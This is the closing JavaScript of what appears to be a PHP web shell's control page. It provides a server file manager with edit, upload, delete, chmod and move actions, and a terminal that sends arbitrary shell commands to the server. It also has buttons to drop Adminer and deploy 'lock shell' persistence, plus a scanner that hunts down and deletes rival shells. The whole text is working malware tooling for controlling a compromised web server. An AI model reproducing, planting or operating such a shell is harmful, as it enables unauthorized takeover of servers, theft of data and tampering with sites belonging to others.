$('#adminerBtn').on('click',function(){var btn=$(this);btn.prop('disabled',true).text('Downloading...');$.ajax({url:window.location.pathname+'?get=adminer',method:'GET',dataType:'json',success:function(res){showNotif(res.message,res.status==='success'?'success':'error');},error:function(xhr,status,err){showNotif('AJAX error: '+err,'error');},complete:function(){btn.prop('disabled',false).text('Drop Adminer');}});});
// ===== Drag =====
dragElement(floatingScanner);
function dragElement(elmnt){
    let pos1=0,pos2=0,pos3=0,pos4=0;
    const header = document.getElementById("floatingScannerHeader");
    if(header){ header.onmousedown = dragMouseDown; } else { elmnt.onmousedown = dragMouseDown; }
    function dragMouseDown(e){ e.preventDefault(); pos3=e.clientX; pos4=e.clientY; document.onmouseup=closeDragElement; document.onmousemove=elementDrag; }
    function elementDrag(e){ e.preventDefault(); pos1=pos3-e.clientX; pos2=pos4-e.clientY; pos3=e.clientX; pos4=e.clientY; elmnt.style.top=(elmnt.offsetTop-pos2)+'px'; elmnt.style.left=(elmnt.offsetLeft-pos1)+'px'; }
    function closeDragElement(){ document.onmouseup=null; document.onmousemove=null; }
}

// ===== Scanner Logic =====
let counter=1;
function startScan(){
    const table=document.getElementById('result-table');
    const form=document.getElementById('bulk-form');
    table.innerHTML=`<tr><td colspan="6" style="text-align:center; padding:8px; color:#0f0;">🧠 Scanning in progress...</td></tr>`;
    form.style.display='none'; counter=1;

    const levels=[];
    if(document.getElementById('dangerous').checked) levels.push('dangerous');
    if(document.getElementById('medium').checked) levels.push('medium');
    if(document.getElementById('smooth').checked) levels.push('smooth');

    const sse=new EventSource(`?stream=1&active_levels=${levels.join(',')}`);
    sse.onmessage=function(event){
        const data=JSON.parse(event.data);
        if(data.start){ table.innerHTML=''; }
        else if(data.done){
            if(counter===1) table.innerHTML=`<tr><td colspan="6" style="text-align:center; padding:8px; color:#0f0;">✅ No shell found.</td></tr>`;
            else { const row=document.createElement('tr'); row.innerHTML=`<td colspan="6" style="text-align:center; padding:8px; color:#0f0;">✅ Scan complete.</td>`; table.appendChild(row); }
            sse.close();
        } else {
            const risk=data.level.charAt(0).toUpperCase()+data.level.slice(1);
            if(counter===1) form.style.display='block';
            const row=document.createElement('tr');
            row.setAttribute('data-path',data.file);
            row.innerHTML=`
                <td style="border:1px solid #0f0; text-align:center;">${counter++}</td>
                <td style="border:1px solid #0f0; color:#0f0;">${data.file}</td>
                <td style="border:1px solid #f00; color:#f00;">${data.match}</td>
                <td style="border:1px solid #ff0; color:#ff0; font-weight:bold;">${risk}</td>
                <td style="border:1px solid #0f0; text-align:center;"><input type="checkbox" class="file-check" value="${data.file}" name="files[]"></td>
                <td style="border:1px solid #f00; text-align:center;"><button onclick="deleteFile(this,'${data.file}')" style="color:#f00;">Delete</button></td>
            `;
            table.appendChild(row);
        }
    };
    sse.onerror=function(){ table.innerHTML=`<tr><td colspan="6" style="text-align:center; padding:8px; color:#f55;">❌ Connection error.</td></tr>`; sse.close(); }
}

function deleteFile(btn,path){
    if(!confirm('Delete this file permanently?')) return;
    fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams({action:'delete','files[]':path})})
    .then(res=>res.json()).then(data=>{if(data.deleted.includes(path)) btn.closest('tr').remove();});
}

function deleteSelected(e){
    e.preventDefault();
    const selected=document.querySelectorAll('.file-check:checked');
    if(selected.length===0){ alert('No files selected.'); return; }
    if(!confirm(`Delete ${selected.length} file(s)?`)) return;
    const formData=new URLSearchParams({action:'delete'});
    selected.forEach(cb=>formData.append('files[]',cb.value));
    fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:formData})
    .then(res=>res.json()).then(data=>{data.deleted.forEach(path=>{ const row=document.querySelector(`tr[data-path="${path}"]`); if(row) row.remove(); });});
}
</script>
<script>
// ===== Variables =====
let currentPath = "<?= htmlspecialchars($currentPath, ENT_QUOTES) ?>";
let editingFile = '';

// ===== Notifications =====
function showNotif(msg,type='success'){let bg=type==='success'?'bg-green-500':'bg-red-500';let id='n'+Date.now();let notif=$(`<div id="${id}" class="${bg}">${msg}</div>`);notif.css({padding:'8px 12px',borderRadius:'6px',color:'#fff',fontWeight:'500',boxShadow:'0 2px 8px rgba(0,0,0,0.4)'});notif.click(()=>notif.fadeOut(200,()=>notif.remove()));$('#notif').append(notif);setTimeout(()=>{notif.fadeOut(500,()=>notif.remove());},4000);}
if($('#notif').length===0)$('body').append('<div id="notif"></div>');

// ===== AJAX POST =====
function ajaxPost(data,cb){$.post('<?= $_SERVER[
    "PHP_SELF"
] ?>',data,cb,'json');}
// ===== Load Directory =====
function showLoader(){ $('#table-loader').show(); }
function hideLoader(){ $('#table-loader').hide(); }
function loadDir(path){ currentPath=path; showLoader(); ajaxPost({cmd:'load', current:path}, res=>{ hideLoader(); if(res.status!=='success'){ showNotif('Failed to load folder','error'); return; } $('#breadcrumb').html(''); res.breadcrumb.forEach(b=>$('#breadcrumb').append(`<a href='#' class='text-blue-400 hover:text-cyan-400' onclick='loadDir("${b.path}")'>${b.name}</a>`)); $('#breadcrumb').append(`<span class="home_shell text-green-400 cursor-pointer ml-2" onclick='loadDir("${res.home}")'>[ Home Shell ]</span>`); $('#filelist tbody').html(res.files.map(f=>{ let full=currentPath+'/'+f.name; let icon=f.type==='folder'?'📁':'📄'; let link=f.type==='folder'?`<a href='#' onclick='loadDir("${full}")'>${icon} ${f.name}</a>`:`<a href='#' onclick='viewFile("${full}")'>${icon} ${f.name}</a>`; let permColor=(f.readable&&f.writable)?'text-blue-400':'text-white'; return `<tr><td>${link}</td><td class="text-center">${f.type}</td><td class="text-center">${f.size}</td><td class="text-center">${f.lastmod}</td><td class="text-center font-mono ${permColor}"><a href='#' onclick='chmodItem("${full}","${f.perm_octal}")'>${f.perms}</a></td><td class="text-center">${f.owner}</td><td class="flex gap-1 justify-center"><button onclick='renameItem("${full}")' class='px-2 py-1 bg-indigo-600 hover:bg-indigo-500 rounded text-sm'>Rename</button><button onclick='deleteItem("${full}")' class='px-2 py-1 bg-red-600 hover:bg-red-500 rounded text-sm'>Delete</button><button onclick='copyItem("${full}")' class='px-2 py-1 bg-teal-600 hover:bg-teal-500 rounded text-sm'>Copy</button><button onclick='moveItem("${full}")' class='px-2 py-1 bg-purple-600 hover:bg-purple-500 rounded text-sm'>Move</button></td></tr>` }).join('')); }); }

// ===== File Modal =====
function viewFile(file){editingFile=file;$('#modalFileName').text(file.split('/').pop());ajaxPost({cmd:'read',target:file},res=>{if(res.status==='success'){$('#fileContent').val(res.content);$('#fileModal').fadeIn();}else showNotif('Failed to load file','error');});}
function closeModal(){$('#fileModal').fadeOut();editingFile='';}
function saveFile(){if(!editingFile)return;ajaxPost({cmd:'save',target:editingFile,content:$('#fileContent').val()},res=>{showNotif(res.message,res.status);if(res.status==='success')closeModal();loadDir(currentPath);});}
// ===== Folder/File Actions =====
function makefile(){let name=$('#newfile').val();if(!name){showNotif('File name required','error');return;}ajaxPost({cmd:'makefile',name:name,current:currentPath},res=>{showNotif(res.message,res.status);if(res.status==='success')$('#newfile').val('');loadDir(currentPath);});}
function mkdir(){let name=$('#newfolder').val();if(!name){showNotif('Folder name required','error');return;}ajaxPost({cmd:'mkdir',name:name,current:currentPath},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
function renameItem(file){let n=prompt('New name',file.split('/').pop());if(n)ajaxPost({cmd:'rename',target:file,name:n},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
function deleteItem(file){if(confirm('Delete '+file+'?'))ajaxPost({cmd:'delete',target:file},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
function copyItem(file){let dest=prompt('Copy to path',currentPath+'/'+file.split('/').pop());if(dest)ajaxPost({cmd:'copy',target:file,dest:dest},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
function moveItem(file){let dest=prompt('Move to path',currentPath+'/'+file.split('/').pop());if(dest)ajaxPost({cmd:'move',target:file,dest:dest},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
function chmodItem(file,octal){let m=prompt('Enter octal mode (e.g. 755)',octal);if(m)ajaxPost({cmd:'chmod',target:file,mode:m},res=>{showNotif(res.message,res.status);loadDir(currentPath);});}
// ===== Upload =====
function uploadFiles(files){const fd=new FormData();fd.append('cmd','upload');for(let i=0;i<files.length;i++)fd.append('file',files[i]);fd.append('current',currentPath);$.ajax({url:'<?= $_SERVER[
    "PHP_SELF"
] ?>',type:'POST',data:fd,contentType:false,processData:false,success:function(res){showNotif(res.message,res.status);loadDir(currentPath);}});}
$('#uploadBtn').click(()=>$('#uploadfile').click());
$('#uploadfile').change(()=>{if($('#uploadfile')[0].files.length)uploadFiles($('#uploadfile')[0].files);});
// ===== Terminal =====
$('#terminalBtn').click(()=>$('#floatingTerminal').fadeIn());
$('#floatingTerminalClose').click(()=>$('#floatingTerminal').fadeOut());
function dragElement(elmnt){var pos1=0,pos2=0,pos3=0,pos4=0;const header=document.getElementById("floatingTerminalHeader");if(header){header.onmousedown=dragMouseDown;}else{elmnt.onmousedown=dragMouseDown;}function dragMouseDown(e){e=e||window.event;e.preventDefault();pos3=e.clientX;pos4=e.clientY;document.onmouseup=closeDragElement;document.onmousemove=elementDrag;}function elementDrag(e){e=e||window.event;e.preventDefault();pos1=pos3-e.clientX;pos2=pos4-e.clientY;pos3=e.clientX;pos4=e.clientY;elmnt.style.top=(elmnt.offsetTop-pos2)+"px";elmnt.style.left=(elmnt.offsetLeft-pos1)+"px";}function closeDragElement(){document.onmouseup=null;document.onmousemove=null;}}dragElement(document.getElementById("floatingTerminal"));
$('#floatingTerminalInput').keypress(function(e){if(e.which==13){let cmd=$(this).val();$(this).val('');$('#floatingTerminalContent').append('<div><span style="color:#0ff;">$</span> '+cmd+'</div>');$.post('<?= $_SERVER[
    "PHP_SELF"
] ?>',{cmd:'terminal',command:cmd,current:currentPath},function(res){if(res.status==='success')$('#floatingTerminalContent').append('<div class="glow">'+res.output.replace(/\n/g,'<br>')+'</div>');$('#floatingTerminalContent').scrollTop($('#floatingTerminalContent')[0].scrollHeight);},'json');}});
// ===== Lock/Unlock File/Folder =====
$('#lockFileBtn').click(function(){const file=$('#targetFile').val().trim();if(!file){showNotif('Enter file name to lock','error');return;}if(confirm('Lock file: '+file+'?')){ajaxPost({cmd:'lockfile',target:file},function(res){showNotif(res.message,res.status==='success'?'success':'error');loadDir(currentPath);});}});
$('#unlockFileBtn').click(function(){const file=$('#targetFile').val().trim();if(!file){showNotif('Enter file name to unlock','error');return;}if(confirm('Unlock file: '+file+'?')){ajaxPost({cmd:'unlockfile',target:file},function(res){showNotif(res.message,res.status==='success'?'success':'error');loadDir(currentPath);});}});
// ===== Lock/Unlock Shell =====
$('#lockShellBtn').click(function(){if(confirm('Deploy Lock Shell?'))ajaxPost({cmd:'lockshell'},res=>showNotif(res.message,res.status==='success'?'success':'error'));});
$('#unlockShellBtn').click(function(){if(confirm('Deploy unLock Shell?'))ajaxPost({cmd:'unlockshell'},res=>showNotif(res.message,res.status==='success'?'success':'error'));});
// ===== Initial load =====
$(document).ready(()=>{ $('#floatingTerminal').hide(); $('#fileModal').hide(); loadDir(currentPath); });
// ===== Toggle Disabled Functions List =====
document.addEventListener('DOMContentLoaded',()=>{const toggleBtn=document.getElementById('toggleDisable');const disabledList=document.getElementById('disabledList');if(toggleBtn&&disabledList){toggleBtn.addEventListener('click',()=>{disabledList.classList.toggle('hidden');});document.addEventListener('click',(e)=>{if(!toggleBtn.contains(e.target)&&!disabledList.contains(e.target)){disabledList.classList.add('hidden');}});}});
const toggleBtn = document.getElementById('toggleDisable');
const disabledList = document.getElementById('disabledList');
if(toggleBtn && disabledList){
    toggleBtn.addEventListener('click', (e) => {
        e.stopPropagation();
        disabledList.style.display = disabledList.style.display === 'block' ? 'none' : 'block';
    });

    document.addEventListener('click', () => {
        disabledList.style.display = 'none';
    });

    // ===== Drag functionality =====
    let pos1=0,pos2=0,pos3=0,pos4=0;
    disabledList.onmousedown = dragMouseDown;

    function dragMouseDown(e){
        e = e || window.event;
        e.preventDefault();
        pos3 = e.clientX;
        pos4 = e.clientY;
        document.onmouseup = closeDragElement;
        document.onmousemove = elementDrag;
    }

    function elementDrag(e){
        e = e || window.event;
        e.preventDefault();
        pos1 = pos3 - e.clientX;
        pos2 = pos4 - e.clientY;
        pos3 = e.clientX;
        pos4 = e.clientY;
        disabledList.style.top = (disabledList.offsetTop - pos2) + "px";
        disabledList.style.left = (disabledList.offsetLeft - pos1) + "px";
    }

    function closeDragElement(){
        document.onmouseup = null;
        document.onmousemove = null;
    }
}
</script>
</body>
</html>
